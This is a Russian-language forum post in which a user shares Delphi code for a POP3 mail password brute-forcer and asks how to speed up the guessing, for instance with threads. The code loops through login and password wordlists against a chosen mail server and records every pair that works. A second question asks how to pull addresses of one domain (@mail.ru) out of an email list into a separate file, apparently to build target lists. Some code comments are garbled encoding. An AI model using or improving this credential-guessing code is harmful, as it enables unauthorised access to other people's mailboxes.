
21.08.2007, 01:34
|
|
Познающий
Регистрация: 06.08.2007
Сообщений: 36
С нами:
9876570
Репутация:
10
|
|
Здравствуйте! Есть вот такой код, как я могу величить скорость преберирания паролей? Потоки? Как?
Код:
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Sockets, IdBaseComponent;
type
threed = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;
implementation
{ Important: Methods and properties of objects in visual components can only be
used in a method called using Synchronize, for example,
Synchronize(UpdateCaption);
and UpdateCaption could look like,
procedure threed.UpdateCaption;
begin
Form1.Caption := 'Updated in a thread';
end; }
{ threed }
uses unit1;
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
//Ïîïûòêà ñîåäèíåíèÿ.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+';'+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.
Второй вопрос:
Допустим есть файл email.txt
там хранятся данные типа:
sdas@mail.ru
asdas@bk.ru
asdas@info.ru и т.д.
так вот задача отрезать все личнее допустим от @mail.ru и записать это в отдельный файл
|
|
|